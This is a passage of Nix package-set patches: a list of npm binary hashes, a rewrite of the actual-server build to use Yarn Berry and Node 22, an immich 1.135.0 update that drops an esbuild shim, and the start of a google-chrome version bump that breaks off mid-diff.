+  "@parcel/watcher-linux-arm-glibc@npm:2.5.1": "07a55a0050e913c9781d009a05b3a0a49c77c2679ae9f98b2374a7e17c5401e2076a776c7bec88de58c71fef040c89aa97176dfa28a03abf8754e18e8d1109b4",
+  "@parcel/watcher-linux-arm-musl@npm:2.5.1": "f9cab0efa652276fb4bcb58845c9606f7aead1ec81f7c4ce2d237eec754bbd3101682c735b6a371dccf93f16fcfe0ea1beef5d43eb39e4505df7f29b73ea0004",
+  "@parcel/watcher-linux-arm64-glibc@npm:2.5.1": "ce22f303187aa03fa9d1f9609d2cd56cce6b62f0a60f14a65449adc25b7072d06118d956eb7ebb548210cf2d120cf5e987abe34e6515a5bfbd35b15643f40142",
+  "@parcel/watcher-linux-arm64-musl@npm:2.5.1": "7a0b32b7b784fe3e594452b6642adc3bb4ad78eae526f5e4c7cf061f428eef2e05e827334806cd230bc873903abb1f70886716a0353e653b3b784f09d2237956",
+  "@parcel/watcher-linux-x64-glibc@npm:2.5.1": "a6241bb57c409ab56ef944e8d64e057817f41a9335047d1e252aab4e4b10f64d8bc2620ae5c761b71551f3c4b494edd687a08c274a46ca2eb84ad34f6f4de9c0",
+  "@parcel/watcher-linux-x64-musl@npm:2.5.1": "a68cfcd10a50906ab228d7b906eced68faf6a42a29da5506d24d0dd91b9593a61605b91749d9b1e3ed9f257b845f48ba3df62572e40b4ff1f724d879865b225a",
+  "@parcel/watcher-win32-arm64@npm:2.5.1": "0f467a731cf9403b8bc7d35418d991596cf5e7898029796b4c769bcbb38cd07ae6ec05ef0f19298e5f11e73ec5198bc474d79b056bdfbaea513525725103d7dd",
+  "@parcel/watcher-win32-ia32@npm:2.5.1": "9ab5f3e9849a6077c8c2aba7bdf9030dea38f0ab9180792ecd30094520cddf16f3b68006f666845b86c5ef0e05c648364475c9ba151e0269561891ca3e276667",
+  "@parcel/watcher-win32-x64@npm:2.5.1": "e588d87d5b892484d252ac8e1ec3f4bf7a664d91f0d03dd93764be8db2c35f81879275908dcbec42b0e43bc99c7afdfd29fe687ec022bb2c8c4bc7edd29eaa15",
+  "@rollup/rollup-android-arm-eabi@npm:4.40.1": "24131de0516010cd1c52d399fb17dbbe93b3ed6a981b57d82f363b9102a04083d470d0d7ead324fcc16e0eee7d54b7300ed3ce72bf43a4d277b959eb79f7490c",
+  "@rollup/rollup-android-arm64@npm:4.40.1": "6b02d5c1a8e5cb045ea9d382d71a9bfcd81da1d508ebeddf5c5118f99ce13b431af357a0458d922c03b26a00ca6ea72a861b1e15b370f20275ee73eff91fd7ce",
+  "@rollup/rollup-darwin-arm64@npm:4.40.1": "2c47b17a3670ff37a3a4ba6615f1514284317adedbf629b9d989f879f2ccd0c299f69c7733727150206b1edd96605ab9d94b6f0eae70cd7556542b436111d5c6",
+  "@rollup/rollup-darwin-x64@npm:4.40.1": "91ab2e444f00b9b98be9bc4d5bad1f1f180c3393ee6826417b1f50c5eb7cbca2b50a8fae08bfc920cff9a39b40d39ff5a06a0103598290bbe14d28caab8f2d4f",
+  "@rollup/rollup-freebsd-arm64@npm:4.40.1": "55486a57a0b2d276ba845d83b7d2423bcb4e16d47f7efb49d18d70c8bcda7f065750ce2754d2fcd3d6f038bf0fbf549e7a865cdad757fcbaee80681fc5b0cf31",
+  "@rollup/rollup-freebsd-x64@npm:4.40.1": "44d31a11edeea74bd271f929524c2b2adaa4d86912dab16bc8df19c7f36e373cec9ad8099a8784f8489d078a05b4a63d04988e7d2ff2473ee517f7703ed914a3",
+  "@rollup/rollup-linux-arm-gnueabihf@npm:4.40.1": "7449ef4aec80aed3935126964bbe4f571e7f270da02cf0f52bb8c039f4f7d81060a709a4b075bf4fd7b4edb4098d51644bc69c1228edadd24deeb1fb57061174",
+  "@rollup/rollup-linux-arm-musleabihf@npm:4.40.1": "548823023482bc71faf8ea6e9a3a2ee818d7011fd09fe70a5d2923cf2d395f9b5a3f59acfa44e3bcf20c2da947375ddb4bd83ffa81c21ca32c625bd2eddfe16b",
+  "@rollup/rollup-linux-arm64-gnu@npm:4.40.1": "04c11ce49644b0fbeefdb6d61ee98cb55a3ff657f89bd610f14b45d6add78ac45f53d5bfbc48edfc19b979a60c127f4619a6d7aa42122db9a60ea638a672b5aa",
+  "@rollup/rollup-linux-arm64-musl@npm:4.40.1": "4d257c6f80178e59a889c0df9f1d6dc8b04f28e0c7d5ff7fc8ec8037bbeed7df55c928815f654553579c8fe2c1b7030dfa4f0c46db80b5e54df68141c1dcc04d",
+  "@rollup/rollup-linux-loongarch64-gnu@npm:4.40.1": "e4d6fcc868ce49cc80dd3975b049998ac171a6c6faf10eec9409914bd49fd536a28c215e7d9f553af5107aa729bd1a8f524a0ba7eecaf4237368aaca555a7451",
+  "@rollup/rollup-linux-powerpc64le-gnu@npm:4.40.1": "3b4e4bcb11fac1048a3c93304a0efb0f84fa960b638eed465e17235a4d4d3b6710035b6b628936eefd37ba8d965773d81a27ba646952f50232ab94fc498ba7aa",
+  "@rollup/rollup-linux-riscv64-gnu@npm:4.40.1": "b83775740d1164c3bd07fea0c999f4a1d32c83769ee869905af24e91ba53b89a77000a78e76dcbe2210b30dce423bf4464c4d6a985b66d6c395d551745eb167e",
+  "@rollup/rollup-linux-riscv64-musl@npm:4.40.1": "ca1b09e4b0a34e85de5d82eb72a11604daa53c7a3612fe06110516770d31841885e54ec3cd9cd7233718616c286f81172e3a6840d958b63136826e91a8a75c68",
+  "@rollup/rollup-linux-s390x-gnu@npm:4.40.1": "e062f33b545d66baa4d794f96a7bdd6852db9f0749781fd5fe21f1c7348724b144ea1b0b92ea134edb6a7b02abbdeec36632147a77c2cfff2981836645b045aa",
+  "@rollup/rollup-linux-x64-gnu@npm:4.40.1": "4fe6c9ac21a6714f119934474f1f7553b84597569e4459d47469099479a1aab5f7384f59ff7e729d615883ce3454976a890d15eb6a372f747ba429fcde05b62d",
+  "@rollup/rollup-linux-x64-musl@npm:4.40.1": "61f05aa8f6df44385bc5c99850a95f791e14f63fa0e11a7f7351b3a4b45f7e719a4c5ae9562f772f3e08ce61ba887741e0564ae66e1c496aba2fde3e1cf97ec1",
+  "@rollup/rollup-win32-arm64-msvc@npm:4.40.1": "d4c9002b95c4b6ee842faaa5087582a0772578c0969c9ee470697a6d3fd251845481285f5a4027bc8c0524bf277f3437844cae9936c5f96ca753dcca61e2f47f",
+  "@rollup/rollup-win32-ia32-msvc@npm:4.40.1": "446e3ce5b037d1847af84e9a2b52734ae9f5425937fec2558d26ffb5c253dd8925dc35591abd78b0d43f7154222e47ee9aaeb3b167b3d69627805a97c5147185",
+  "@rollup/rollup-win32-x64-msvc@npm:4.40.1": "39fe3c6b86ef880fb1d1261f6096d19707584c628271d6ae01f5a5f50d8a24ef62128b5929064c0aed4390c7c0c0b7cc9590e300fa5f10ed624816748da2fbb2",
+  "@swc/core-darwin-arm64@npm:1.11.24": "18b0b96a5da816cdabddc7638fe520003199ec44fe00dd8b59a7fddf21e332e52c897c6721e854677404d4f223e3f1efe88992c5af5ba7a8d6471bc237b936ec",
+  "@swc/core-darwin-arm64@npm:1.5.3": "8999da30eed8259e61678d4bc83f9eb084955419cd4bb4b3e86d1d4e9d52319c2c35c175b08212b72112bb60f7f4a86e58ac968e9f7259b661d228b67a9df664",
+  "@swc/core-darwin-x64@npm:1.11.24": "9fa6d165b9ada627900f9e4916f91cda7f26364f8f9bb6e37b8036ca1ee4231572aba731aa2ea8056b65a7360bf547538407fc12d0984b184e5bb14c9712f3f0",
+  "@swc/core-darwin-x64@npm:1.5.3": "3df1762d5ba3812b95229c41d7de4cb4dd8519bb58213e0aae2eb3f80696b1193561d450e6e897af58afdd5632edfe4607e669648e039bbb7a4f3533b3aa38ee",
+  "@swc/core-linux-arm-gnueabihf@npm:1.11.24": "2721dbdfa06753fbf00f8fef752dbb922d2149ddf67d0b4eb90505e7d1a06a00b30b574242ae53f6c30b45fd4907df0faba42e69ac63bc2ab1df867830471a3d",
+  "@swc/core-linux-arm-gnueabihf@npm:1.5.3": "f3f1debf391bb919de3bda8e16f5c8e6d8cfb9dea457cec3ab46e454f82c77f760681a53fd0b80c215e6d93bc91a202e20683c8eef3c7b4fcacacd33245f89fe",
+  "@swc/core-linux-arm64-gnu@npm:1.11.24": "f83aab231925b7bf60808ba40885e13cf6cd146d5b6557e8423324734742d54ca2a40f3a9b7b3e654ba23d2c3b0154321448874ea5ba6dcd7000bd1ba277e7eb",
+  "@swc/core-linux-arm64-gnu@npm:1.5.3": "747daae9eb5300b24941c62ca89cbc775eee206ac4b76a5961a5cfc45c4fe07c537497f31d3a7c415783e84a4425621b4b02642d1c266332d29dfb88210d7306",
+  "@swc/core-linux-arm64-musl@npm:1.11.24": "d45417c37c0f11ecae33df2ee6061e44099874cc1213d82cd6209ab9b1ac048fad32fd7516e32936ac5ada7861945876c0109970726cf478e06990d602466e8c",
+  "@swc/core-linux-arm64-musl@npm:1.5.3": "c9c58710d8ef12218e3da5a4111ee6fb619d5a84d922b97c746bf74c89676dd1de901bf6513d4653d45cd639ffb28bafd1a48c876643d84b1a1c5532591220a4",
+  "@swc/core-linux-x64-gnu@npm:1.11.24": "a3a6944f8eb4f0b3d508a238f173a6de5f2555dfb0990553e7c187b2f97995248489070425eabfca8bcfb2460f0ed1e03ed74379eb7918339e77c61860eadcd5",
+  "@swc/core-linux-x64-gnu@npm:1.5.3": "80ccc1002f0a410ed988441d5c797e9a697e371cc2c4645b2dd22bb5f15a71f46532deca5e5d0a0d7096064deb13bfe46fb423365b7b617cb29f4c8ade068d9d",
+  "@swc/core-linux-x64-musl@npm:1.11.24": "b6ec67367381d4e2ae97ef6106592c0558fcfb0c3d0d3d6886f04c2f4f4cb87472028dab873edde94a311a053f1e6e9cc6f1b994b383a9577709cde4fdb43f4c",
+  "@swc/core-linux-x64-musl@npm:1.5.3": "468a0cf52c6b6f05811a58eb7038486df3bb96709f5081ceb17b2b847ade277ea209c7ac609f05046a809bc15444b30db696af3ef745ee16c43e8ff09ef1f585",
+  "@swc/core-win32-arm64-msvc@npm:1.11.24": "399f45295ed6ca667776d7af271ef603925c1e24a90441486441c1319861f9fe95b62edbc32f63d034b64ded6cfbeca4aff5e03392206812f16439867da37b6d",
+  "@swc/core-win32-arm64-msvc@npm:1.5.3": "de74f5ef05f3db298a04b354f820705d15b8bd139f726fff5e793f7dab06683142326b9cf4f5db916c52060f2cc3935452fea40dd61986db918514bdc0c4caca",
+  "@swc/core-win32-ia32-msvc@npm:1.11.24": "59839c3e0adae3821236c252f337c96303db1f57bc6e3ae662c64db2b1c0c26d72aff548c40b51519642bf85178136398c0748ac2fa0bb4f876d531032354c0d",
+  "@swc/core-win32-ia32-msvc@npm:1.5.3": "7f91ce3217cbf97581faa439365a33623d3770594088e9bdbe897149fde0083bb12da7a58c1cb274d807f5f5cdd624ab22624c2a61d7df18027e0b49680b0321",
+  "@swc/core-win32-x64-msvc@npm:1.11.24": "c00ac210a848844ce712cc99d4f58eac3ceb69707dd7d4c5c28f3e3ba9b20989cc98df64efa6d908c412e159120a8e9c3687a746cbdbdbc243db304abf1dedf2",
+  "@swc/core-win32-x64-msvc@npm:1.5.3": "c9e2f8d6d6ea59196aea6441c91e75a7a2c673e9485f019f5248a44b048bba355519244ed99114fa38f1d7da0b0145200f582080b0d34bd8be038130cfdb5a2e",
+  "@unrs/resolver-binding-darwin-arm64@npm:1.7.2": "417b86140fd118e76a188bd13c0e4144d75a437e2567f17f14dbd469069a76dd265672a030f90cefcb6a8ed22e5e3504f3c6435c4f3178fff8161ad243356505",
+  "@unrs/resolver-binding-darwin-x64@npm:1.7.2": "6200e3b907b7aa187118c44fdc5e92ac3113e9c6d44d352d85424a51d08db24eb181e8ea1f1181bcdaa776b749362efbfc578ffbb942ccb46e9a2c4370330480",
+  "@unrs/resolver-binding-freebsd-x64@npm:1.7.2": "e35881d53aa74c683f258365d97407828f9bca513b4f670819aa5e8ff0a044ce15f040cbf92cfc1b2ca52d4c3a48ac5a4684c1c6ac63365ae14276b56c3016f6",
+  "@unrs/resolver-binding-linux-arm-gnueabihf@npm:1.7.2": "e66d48a4c053af3eeccf3f88a2f8b7c4a33ddb86a1b1367f81ad8d513fa3b273d0075fb6033a1a3669aa86cf8f2ab726f9c6774726712790156ed13203f7d5a5",
+  "@unrs/resolver-binding-linux-arm-musleabihf@npm:1.7.2": "5d8215cdc1ec8ea64633ea25ef7c293b3f5a09523097be5ed39cfbc2d054934ecff4e8d5630bd483b799060ee29b3c818903113c74f891540e0039af0c7d63ac",
+  "@unrs/resolver-binding-linux-arm64-gnu@npm:1.7.2": "28c3cc5f51cf546229f2518aefcc58a052e98257f8637c9c0468faba35bd1776a7b2c1cc2bd972ad8b297b2c8011aa7c6a4c99828d96190f984ba76ec661252f",
+  "@unrs/resolver-binding-linux-arm64-musl@npm:1.7.2": "05017c135d6fff23f30128c9a2d1fda36944fc9fc8f2491affdd756601f2d94e087e7c5d36d5d7c41c55202575c57051a2247e7c2cf3bfbee6c9906f927a7ff7",
+  "@unrs/resolver-binding-linux-ppc64-gnu@npm:1.7.2": "e6a9ee85e18f14bbc0ff9dc0a10f7b61ddba2997e5de6b88472b6e885797827fd0da3bbb0a2d69dcba7b6a7f8f0b19b18b218ba484cfb7b5a8821505d811eba0",
+  "@unrs/resolver-binding-linux-riscv64-gnu@npm:1.7.2": "f8bcec8a1776fbb7fa2e94ec597c188991936076f4646e2b2aa65e0d58a7a0f200b494c8b648f27888818fa21429c1d0ac697f153036ed29f3169a75db1958f5",
+  "@unrs/resolver-binding-linux-riscv64-musl@npm:1.7.2": "1ad30a039a17de53379a256945e1c9e8b0cb3f85a8b2cac519abc373e4ed85f190f160b055d8e4275060112c4022d889ca9f8cea78052de050c23aea114a829a",
+  "@unrs/resolver-binding-linux-s390x-gnu@npm:1.7.2": "b18e161a9665cbaaacc203e4f00b81bd2a47cac19869be143bc15c4f16cb3b777093db93fa63844502c47c1314686a3d7f9aa12fa17fb126b140465ad8769a01",
+  "@unrs/resolver-binding-linux-x64-gnu@npm:1.7.2": "7bb19791caa4a8b4dc683803b628b00d8dc41843c99ba58de3d4e0c99122498c2ce8f44bc54ed69df9e5cb6531b6aa692a9e872f2ef33beed6a98e0bf2de6733",
+  "@unrs/resolver-binding-linux-x64-musl@npm:1.7.2": "8755854a1bcb392c0422b966d98802ff0dab4fa002f062869dab8b2ba1c3d53ce0865042f78d9ca2fa5f3c4340a60c65b42a851d6dff85e4600aeaa210ef90d5",
+  "@unrs/resolver-binding-wasm32-wasi@npm:1.7.2": "1715ff33785dc610bca6130064bad5cfc111bb66bafe6d2fe4f23db854051ec147df1c4d228264139746e68156084688270112e465f944ec9d920bc1dae69440",
+  "@unrs/resolver-binding-win32-arm64-msvc@npm:1.7.2": "777a0ecaa6095423132b6ac8723dea7546ce57babe12135aaa5468fe4bac38637c02f30308d6cba47031281b54ed41c1b5eb91ea24b0da42b45f5555c7c002d6",
+  "@unrs/resolver-binding-win32-ia32-msvc@npm:1.7.2": "e356d7e8494f127a0de7ace9c9e898e9fd154b7f145b9e4740e7e3ec0e69349e8f31f148e17a45afda0ac562209520a7ee73fb57b7d380bff852c194659508cf",
+  "@unrs/resolver-binding-win32-x64-msvc@npm:1.7.2": "8446f0a75d1cb833fa8cf9a1f6960e543b8151784b7954d385aba86049821bd1d5ee6cd35f194b8ab0a3324e07ce3f63b56aef1dc9cb8dbe352c86f0aaa4c095",
+  "dmg-license@npm:1.0.11": "36c0a7b030801b91216affa9b2bb00caa345b2327f298accb2263a80a0320ca305f90b99da68007d187c830c543410d58a0a2bbc229e8d169b0e1d1652ff42aa",
+  "iconv-corefoundation@npm:1.1.7": "0189733ef51a9f481379202cb1919f2677efc44aa014ba662a6fd99e47993e350eab0ff724ed18cda8011c9b78c4702b2d374f732955f1def3fd2a14a29d25c0"
+}
diff --git a/pkgs/by-name/ac/actual-server/package.nix b/pkgs/by-name/ac/actual-server/package.nix
index 51a33635dbff..9bd37d184250 100644
--- a/pkgs/by-name/ac/actual-server/package.nix
+++ b/pkgs/by-name/ac/actual-server/package.nix
@@ -1,25 +1,22 @@
 {
   lib,
   stdenv,
-  stdenvNoCC,
   fetchFromGitHub,
   makeWrapper,
-  cacert,
-  gitMinimal,
-  nodejs_20,
+  nodejs_22,
   python3,
-  yarn,
+  yarn-berry_4,
   nixosTests,
-  nix-update-script,
 }:
 let
-  version = "25.5.0";
+  yarn-berry = yarn-berry_4;
+  version = "25.6.1";
   src = fetchFromGitHub {
     name = "actualbudget-actual-source";
     owner = "actualbudget";
     repo = "actual";
     tag = "v${version}";
-    hash = "sha256-NYAO1Yx3u0wm9F6zSwIolQkXBfFO1YkSKV5UMCBi8nw=";
+    hash = "sha256-+6rMfFmqm7HLYMgmiG+DE2bH5WkIZxwTiy2L/CdZYEI=";
   };
   translations = fetchFromGitHub {
     name = "actualbudget-translations-source";
@@ -27,168 +24,83 @@ let
     repo = "translations";
     # Note to updaters: this repo is not tagged, so just update this to the Git
     # tip at the time the update is performed.
-    rev = "312fce7791e6722357e5d2f851407f4b7cf4ecb9";
-    hash = "sha256-kDArpSFiNJJF5ZGCtcn7Ci7wCpI1cTSknDZ4sQgy/Nc=";
+    rev = "207279d37dbefd555e1470cd1c5a840c469ca672";
+    hash = "sha256-oojADl5LaeO44+j4j/MpCs4c0Td4RwrBtqNB6ZEcELo=";
   };
 
-  yarn_20 = yarn.override { nodejs = nodejs_20; };
-
-  SUPPORTED_ARCHITECTURES = builtins.toJSON {
-    os = [
-      "darwin"
-      "linux"
-    ];
-    cpu = [
-      "arm"
-      "arm64"
-      "ia32"
-      "x64"
-    ];
-    libc = [
-      "glibc"
-      "musl"
-    ];
-  };
-
-  # We cannot use fetchYarnDeps because that doesn't support yarn2/berry
-  # lockfiles (see https://github.com/NixOS/nixpkgs/issues/254369)
-  offlineCache = stdenvNoCC.mkDerivation {
-    name = "actual-server-${version}-offline-cache";
-    inherit src;
-
-    nativeBuildInputs = [
-      cacert # needed for git
-      gitMinimal # needed to download git dependencies
-      yarn_20
-    ];
-
-    inherit SUPPORTED_ARCHITECTURES;
-
-    buildPhase = ''
-      runHook preBuild
-
-      export HOME=$(mktemp -d)
-      yarn config set enableTelemetry 0
-      yarn config set cacheFolder $out
-      # At this stage we don't need binaries yet, so we can skip preinstall
-      # scripts here.
-      yarn config set enableScripts false
-      yarn config set --json supportedArchitectures "$SUPPORTED_ARCHITECTURES"
-
-      # Install dependencies for all workspaces, and include devDependencies,
-      # to build web UI. Dependencies will be re-created in offline mode in the
-      # package's install phase.
-      yarn install --immutable
-
-      runHook postBuild
-    '';
-
-    installPhase = ''
-      runHook preInstall
-
-      mkdir -p $out
-      cp -r ./node_modules $out/node_modules
-
-      runHook postInstall
-    '';
-    dontFixup = true;
-
-    outputHashAlgo = "sha256";
-    outputHashMode = "recursive";
-    outputHash = "sha256-NPyFzklzAUIrTADTF/JBOieWMXOhL+X3pF3qXrfdyCs=";
-  };
-
-  webUi = stdenvNoCC.mkDerivation {
-    pname = "actual-server-webui";
-    inherit version;
-    srcs = [
-      src
-      translations
-    ];
-    sourceRoot = "${src.name}/";
-
-    nativeBuildInputs = [
-      nodejs_20
-      yarn_20
-    ];
-
-    inherit SUPPORTED_ARCHITECTURES;
-
-    postPatch = ''
-      ln -sv ../../../${translations.name} ./packages/desktop-client/locale
-      cp -r ${offlineCache}/node_modules ./node_modules
-
-      patchShebangs --build ./bin ./packages/*/bin
-
-      # Patch all references to `git` to a no-op `true`. This neuter automatic
-      # translation update.
-      substituteInPlace bin/package-browser \
-        --replace-fail "git" "true"
-
-      # Allow `remove-untranslated-languages` to do its job.
-      chmod -R u+w ./packages/desktop-client/locale
-    '';
-
-    buildPhase = ''
-      runHook preBuild
-
-      export HOME=$(mktemp -d)
-      yarn config set enableTelemetry 0
-      yarn config set cacheFolder ${offlineCache}
-      yarn config set --json supportedArchitectures "$SUPPORTED_ARCHITECTURES"
-
-      yarn build:server
-
-      runHook postBuild
-    '';
-
-    installPhase = ''
-      runHook preInstall
-
-      cp -r packages/desktop-client/build $out
-
-      runHook postInstall
-    '';
-    dontFixup = true;
-  };
 in
-stdenv.mkDerivation {
-  pname = "actual-server";
-  inherit version src;
+stdenv.mkDerivation (finalAttrs: {
+  srcs = [
+    src
+    translations
+  ];
+  sourceRoot = "${src.name}/";
 
   nativeBuildInputs = [
-    makeWrapper
+    yarn-berry
+    nodejs_22
+    yarn-berry.yarnBerryConfigHook
     (python3.withPackages (ps: [ ps.setuptools ])) # Used by node-gyp
-    yarn_20
+    makeWrapper
   ];
+  env = {
+    ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
+    NODE_JQ_SKIP_INSTALL_BINARY = "true";
+  };
 
-  inherit SUPPORTED_ARCHITECTURES;
+  postPatch = ''
+    ln -sv ../../../${translations.name} ./packages/desktop-client/locale
+
+    patchShebangs --build ./bin ./packages/*/bin
+
+    # Patch all references to `git` to a no-op `true`. This neuter automatic
+    # translation update.
+    substituteInPlace bin/package-browser \
+      --replace-fail "git" "true"
+
+    # Allow `remove-untranslated-languages` to do its job.
+    chmod -R u+w ./packages/desktop-client/locale
+  '';
+
+  buildPhase = ''
+    runHook preBuild
+
+    export HOME=$(mktemp -d)
+
+    yarn build:server
+    yarn workspace @actual-app/sync-server build
+
+    runHook postBuild
+  '';
+
+  missingHashes = ./missing-hashes.json;
+  offlineCache = yarn-berry.fetchYarnBerryDeps {
+    inherit (finalAttrs) src missingHashes;
+    hash = "sha256-mL4rIBJsx0wSAy1hY9fC0DyGLZOnvXhkFTlxQfK0Dfc=";
+  };
+
+  pname = "actual-server";
+  inherit version src;
 
   installPhase = ''
     runHook preInstall
 
     mkdir -p $out/{bin,lib,lib/actual/packages/sync-server,lib/actual/packages/desktop-client}
-    cp -r ./packages/sync-server/{app.js,src,migrations,package.json,bin} $out/lib/actual/packages/sync-server
+    cp -r ./packages/sync-server/build/{app.js,src,migrations,bin} $out/lib/actual/packages/sync-server
     # sync-server uses package.json to determine path to web ui.
     cp ./packages/desktop-client/package.json $out/lib/actual/packages/desktop-client
-    cp -r ${webUi} $out/lib/actual/packages/desktop-client/build
+    cp -r packages/desktop-client/build $out/lib/actual/packages/desktop-client/build
 
     # Re-create node_modules/ to contain just production packages required for
     # sync-server itself, using existing offline cache. This will also now build
     # binaries.
     export HOME=$(mktemp -d)
-    yarn config set enableNetwork false
-    yarn config set enableOfflineMode true
-    yarn config set enableTelemetry 0
-    yarn config set cacheFolder ${offlineCache}
-    yarn config set --json supportedArchitectures "$SUPPORTED_ARCHITECTURES"
-
-    export npm_config_nodedir=${nodejs_20}
 
     yarn workspaces focus @actual-app/sync-server --production
+    rm -r node_modules/.bin
     cp -r ./node_modules $out/lib/actual/
 
-    makeWrapper ${lib.getExe nodejs_20} "$out/bin/actual-server" \
+    makeWrapper ${lib.getExe nodejs_22} "$out/bin/actual-server" \
       --add-flags "$out/lib/actual/packages/sync-server/bin/actual-server.js" \
       --set NODE_PATH "$out/actual/lib/node_modules"
 
@@ -196,9 +108,8 @@ stdenv.mkDerivation {
   '';
 
   passthru = {
-    inherit offlineCache webUi;
+    inherit (finalAttrs) offlineCache webUi;
     tests = nixosTests.actual;
-    passthru.updateScript = nix-update-script { };
   };
 
   meta = {
@@ -214,4 +125,4 @@ stdenv.mkDerivation {
       lib.maintainers.patrickdag
     ];
   };
-}
+})

From d1b7686f86be6c0951c9f8ee77138c14263d39f1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 18 Jun 2025 21:44:39 +0000
Subject: [PATCH 1254/4511] immich: 1.134.0 -> 1.135.0

Diff: https://github.com/immich-app/immich/compare/v1.134.0...v1.135.0

Changelog: https://github.com/immich-app/immich/releases/tag/v1.135.0
(cherry picked from commit d2bb43f6c969e3c8b4d49c19aca105360dc807d8)
---
 pkgs/by-name/im/immich/package.nix  | 46 +++--------------------------
 pkgs/by-name/im/immich/sources.json | 24 +++++++--------
 2 files changed, 16 insertions(+), 54 deletions(-)

diff --git a/pkgs/by-name/im/immich/package.nix b/pkgs/by-name/im/immich/package.nix
index b393a1cf95dd..cfbc9db35deb 100644
--- a/pkgs/by-name/im/immich/package.nix
+++ b/pkgs/by-name/im/immich/package.nix
@@ -39,62 +39,24 @@ let
   sources = lib.importJSON sourcesJSON;
   inherit (sources) version;
 
-  esbuild_0_23 = buildPackages.esbuild.override {
+  esbuild' = buildPackages.esbuild.override {
     buildGoModule =
       args:
       buildPackages.buildGoModule (
         args
         // rec {
-          version = "0.23.0";
+          version = "0.25.5";
           src = fetchFromGitHub {
             owner = "evanw";
             repo = "esbuild";
             tag = "v${version}";
-            hash = "sha256-AH4Y5ELPicAdJZY5CBf2byOxTzOyQFRh4XoqRUQiAQw=";
+            hash = "sha256-jemGZkWmN1x2+ZzJ5cLp3MoXO0oDKjtZTmZS9Be/TDw=";
           };
           vendorHash = "sha256-+BfxCyg0KkDQpHt/wycy/8CTG6YBA/VJvJFhhzUnSiQ=";
         }
       );
   };
 
-  esbuild_0_25 = buildPackages.esbuild.override {
-    buildGoModule =
-      args:
-      buildPackages.buildGoModule (
-        args
-        // rec {
-          version = "0.25.2";
-          src = fetchFromGitHub {
-            owner = "evanw";
-            repo = "esbuild";
-            tag = "v${version}";
-            hash = "sha256-aDxheDMeQYqCT9XO3In6RbmzmXVchn+bjgf3nL3VE4I=";
-          };
-          vendorHash = "sha256-+BfxCyg0KkDQpHt/wycy/8CTG6YBA/VJvJFhhzUnSiQ=";
-        }
-      );
-  };
-
-  # Immich server does not actually need esbuild, but react-email and vite do.
-  # As esbuild doesn't support passing multiple binaries, we use a custom
-  # "shim", that picks the right version depending on the working directory.
-  # The correct version can be looked up in package-lock.json
-  # TODO: There are numerous other env vars this *could* be based on.
-  esbuildShim = buildPackages.writeShellScriptBin "esbuild" ''
-    echo "nixpkgs: esbuild shim for '$PWD'" >&2
-    case "$PWD" in
-      "/build/server/node_modules/esbuild")
-        exec ${lib.getExe esbuild_0_23} "$@"
-      ;;
-      "/build/server/node_modules/vite/node_modules/esbuild")
-        exec ${lib.getExe esbuild_0_25} "$@"
-        exit 0
-      ;;
-    esac
-    echo "nixpkgs: Couldn't resolve esbuild version for '$PWD'" >&2
-    exit 1
-  '';
-
   buildLock = {
     sources =
       builtins.map
@@ -263,7 +225,7 @@ buildNpmPackage' {
   makeCacheWritable = true;
 
   env.SHARP_FORCE_GLOBAL_LIBVIPS = 1;
-  env.ESBUILD_BINARY_PATH = lib.getExe esbuildShim;
+  env.ESBUILD_BINARY_PATH = lib.getExe esbuild';
 
   preBuild = ''
     # If exiftool-vendored.pl isn't found, exiftool is searched for on the PATH
diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 4204a1ff0843..46d2aca89f8c 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.134.0",
-  "hash": "sha256-TTHgEQyKx54pFWvCD1FT8KZSO9/EZxULZS97VGTfFcE=",
+  "version": "1.135.0",
+  "hash": "sha256-wxdKFuya2GP6lETiG73CYVox/BS+QpgXUjh8ZlVzhrg=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-FOtzQF+3yWJI1lzZq79pbPehDFHAsNk5bx71vm1xWBQ=",
-      "version": "2.2.68"
+      "npmDepsHash": "sha256-oAtLuOtkzGD9grfamDQEdmfN2VIPuFYmdn51VNP11M8=",
+      "version": "2.2.69"
     },
     "server": {
-      "npmDepsHash": "sha256-VzduZY7yMgjoCtTzW5rCooFubJeZuSnkYe9mwmI/n6Q=",
-      "version": "1.134.0"
+      "npmDepsHash": "sha256-8G3UKfKp+Wzt7yjM/90omtAZMJ+iOSRQ8lxXiEEDwpM=",
+      "version": "1.135.0"
     },
     "web": {
-      "npmDepsHash": "sha256-/T8GZ+kqx/G+9Yn76v2vj+KteoS046d0Cxk58YN+3es=",
-      "version": "1.134.0"
+      "npmDepsHash": "sha256-Ej3qCjXXT9oGDQrccoTFpcl1xHMovaLUJi/vRK1nRa4=",
+      "version": "1.135.0"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-gTS+zrhL4mqT0UOLfzrKFdumtwZPmlQntj+DbCaQ2s8=",
-      "version": "1.134.0"
+      "npmDepsHash": "sha256-FCTKMkfl9eBLUmEFg/CYKp8eii+bzh3jujk8A7gtAes=",
+      "version": "1.135.0"
     },
     "geonames": {
-      "timestamp": "20250527235755",
-      "hash": "sha256-vAoQS07EEPkDhrnJGz3iX+sBaPDUHB5uF0a/pr5+zD4="
+      "timestamp": "20250618213339",
+      "hash": "sha256-iO77kJ/rMBu2S7sfu5GAZKRh4OGeR8fT/6Y8mBpgePQ="
     }
   }
 }

From 3e73a445c16f8bcabb8afa31ac0891165b31ed38 Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Thu, 19 Jun 2025 10:58:14 +0100
Subject: [PATCH 1255/4511] google-chrome: 137.0.7151.103 -> 137.0.7151.119

(cherry picked from commit 1ae47c10a5a85bca2d1d26a68534c9226860c93e)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index f7d83072c92d..8f67ca1bd1d6 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.103";
